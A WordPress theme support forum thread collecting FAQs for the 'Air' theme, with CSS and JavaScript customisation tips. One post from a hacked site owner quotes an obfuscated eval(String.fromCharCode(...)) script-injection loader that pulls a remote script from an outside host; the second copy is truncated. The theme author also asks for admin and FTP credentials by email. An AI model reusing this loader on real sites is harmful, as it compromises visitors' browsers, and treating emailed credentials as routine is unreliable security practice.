Home Forums Air WordPress Theme Air WordPress theme FAQs

This topic contains 8 replies, has 3 voices, and was last updated by  BWSM 2 months, 2 weeks ago.

Viewing 9 posts - 1 through 9 (of 9 total)
  • Author
    Posts
  • #14837

    BWSM
    Keymaster
    #14967

    BWSM
    Keymaster

    How to remove title of single portfolio post?
    Please paste the custom css code to “Appearance > Customize : Additional CSS”
    .single-format-gallery .title-wrap {display:none;}

    #15171

    BWSM
    Keymaster

    How to change grid ratio as 1:1 for Masonry Grid?

    Please change the /js/custom.theme.js (line 1113-1193),
    update as:

    
                if (winWidth >= 768) {
    
                    _this.find('.grid-item').each(function () {
                        $('.grid-item').css({
                            width : GridWith * 1 - GridSpacer + 'px',
                            height : GridWith * 1 - GridSpacer + 'px',
                            margin : GridSpacer * 0.5 + 'px'
                        });
                        $('.grid-item .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 1 - GridSpacer)/(GridWith * 1 - GridSpacer)) * 100 + '%'
                        );
                        $('.grid-item.grid-item-big').css({
                            width : GridWith * 2 - GridSpacer + 'px',
                            height : GridWith * 1 - GridSpacer + 'px',
                            margin : GridSpacer * 0.5 + 'px'
                        });
                        $('.grid-item.grid-item-big .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 1 - GridSpacer)/(GridWith * 2 - GridSpacer)) * 100 + '%'
                        );
                        $('.grid-item.grid-item-long').css({
                            width : GridWith * 2 - GridSpacer + 'px',
                            height : GridWith * 1 - GridSpacer + 'px',
                            margin : GridSpacer * 0.5 + 'px'
                        });
                        $('.grid-item.grid-item-long .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 1 - GridSpacer)/(GridWith * 2 - GridSpacer)) * 100 + '%'
                        );
                        $('.grid-item.grid-item-tall').css({
                            width : GridWith * 1 - GridSpacer + 'px',
                            height : GridWith * 1 - GridSpacer + 'px',
                            margin : GridSpacer * 0.5 + 'px'
                        });
                        $('.grid-item.grid-item-tall .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 1.5 - GridSpacer)/(GridWith * 1 - GridSpacer)) * 100 + '%'
                        );
    
                    });
    
                } else {
                    columnNumbM = columnNumbM ? columnNumbM : 1;
                    if(columnNumbM == 2 || columnNumbM == 3) {
                        mobileRatio = 2;
                    }
                    GridWith   = Math.floor(ListWidth / columnNumbM);
    
                    _this.find('.grid-item.grid-item-small').each(function () {
                        $('.grid-item').css({
                            width : GridWith * 1 - GridSpacerM + 'px',
                            height : GridWith * 1- GridSpacerM + 'px',
                            margin : GridSpacerM * 0.5 + 'px'
                        });
                        $('.grid-item .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 1- GridSpacerM)/(GridWith * 1 - GridSpacerM)) * 100 + '%'
                        );
                        $('.grid-item.grid-item-big').css({
                            width : GridWith * 1 * mobileRatio - GridSpacerM + 'px',
                            height : GridWith * 1* mobileRatio - GridSpacerM + 'px',
                            margin : GridSpacerM * 0.5 + 'px'
                        });
                        $('.grid-item.grid-item-big .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 1- GridSpacerM)/(GridWith * 1 - GridSpacerM)) * 100 + '%'
                        );
                        $('.grid-item.grid-item-long').css({
                            width : GridWith * 1 * mobileRatio - GridSpacerM + 'px',
                            height : GridWith * 0.5 * mobileRatio - GridSpacerM + 'px',
                            margin : GridSpacerM * 0.5 + 'px'
                        });
                        $('.grid-item.grid-item-long .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 1- GridSpacerM)/(GridWith * 2 - GridSpacerM)) * 100 + '%'
                        );
                        $('.grid-item.grid-item-tall').css({
                            width : GridWith * 1 - GridSpacerM + 'px',
                            height : GridWith * 2 - GridSpacerM + 'px',
                            margin : GridSpacerM * 0.5 + 'px'
                        });
                        $('.grid-item.grid-item-tall .ux-lazyload-wrap').css(
                            "padding-top", ((GridWith * 2 - GridSpacerM)/(GridWith * 1 - GridSpacerM)) * 100 + '%'
                        );
    
                    });   
                }
    #15240

    BWSM
    Keymaster

    The MUST-READ for Portfolio, Category and Filter …

    1. Before create portfolio list page, you should create several single projects by Post > Add new,
    (1.1) set each project as Gallery Format Post, the portfolio can only show Gallery format posts
    (1.2) set “Featured Image”, it should be thumbnail shown in portfolio list
    (1.3) set “category“, each project should be assigned one category at least.
    You can set other options, refer the video guide.

    2. Create portfolio list page by Page > Add new,
    (2.1) Set template, choose the category mentioned on (1.3).
    (2.2) Filter: If you want to show filter, please enable the “Filter” option. Make sure there are sub-categories in the category mentioned on (1.3). The sub-categories will be shown as filter items. The category structure looks like:
    category tree

    (2.3) You can set other many options like columns, spacing, lightbox and so on. read more on Documentation: Pages section.
    Refer video guide:

    • This reply was modified 1 year ago by  BWSM.
    #16557

    fannybarjhoux
    Participant

    Website : fannybarjhoux.pro

    Hello,

    I love the design of your “Air Template”, I’ve been using it for almost 3 months, and I’ve already been hacked 3 times. Every time I see on my website a blank page with a serie of number:

    eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 56, 44, 32, 52, 57, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 3

    I restored a backup 3 times on my hosting OVH but it does not solve the problem . I paid 55$ for a template (I’m a designer starting in the bussiness and looking for a job with this website………..) that is constantly hacked, I’m disappointed and dissatisfied with this service currently, i hope you can help me.

    thanks,

    Fanny

    #16562

    BWSM
    Keymaster

    HI, Fanny

    Sorry for the trouble, it should not be caused by AIR, there are many reasons. I can help you check it.
    Please send your question, wp-admin(url/user/pass) and FTP to uiueux@gmail.com, I’ll log in to check it.

    Regards!
    Bwsm – uiueux.comTwitterFacebook

    #17588

    BWSM
    Keymaster

    How to insert multiple videos into single gallery post?

    The single gallery post can show one video on gallery list(Top or Bottom) by default(It needs to enable “Show Video”). If you want to show more videos, please following:

    (1) You could enter HTML codes into “Embeded Code” like the demo codes:

    <div class="videoWrapper video-wrap video-post-wrap" style=" padding-top:56.667%"><iframe src="//player.vimeo.com/video/67659148" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div>
    <div class="videoWrapper video-wrap video-post-wrap" style=" padding-top:56.667%"><iframe src="//player.vimeo.com/video/46393681" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div>

    Note: the demo codes are with two videos, you could add more.
    Please select at least one image for “Select Images”, or there will be an error. If you don’t want to show an image, please upload a blank image.

    (2) Paste the custom css code to “Appearance > Customize : Additional CSS”:
    .single-gallery-wrap-inn > .video-post-wrap { padding-top: 0!important; }

    #17978

    Louise
    Participant

    Hi,
    How can I change the image shown when putting the link on FB ? I guess this is called the og:image. Thank you!

    • This reply was modified 2 months, 2 weeks ago by  Louise.
    #17985

    BWSM
    Keymaster

    Hi,

    Please use some plugin to create the og:image tag. The Yoast SEO plugin could create this tag as I know. https://drive.google.com/open?id=1_EpUm156KBmf-8eA3SBJze81Lwj2mYNA

    PS: please create a new ticket(topic) to talk about the question, thanks!

    Regards~

Viewing 9 posts - 1 through 9 (of 9 total)

The topic ‘Air WordPress theme FAQs’ is closed to new replies.

Join Newsletter(FREE)

Subscribe to our newsletter to receive news & updates. We promise to not spam you, super promise!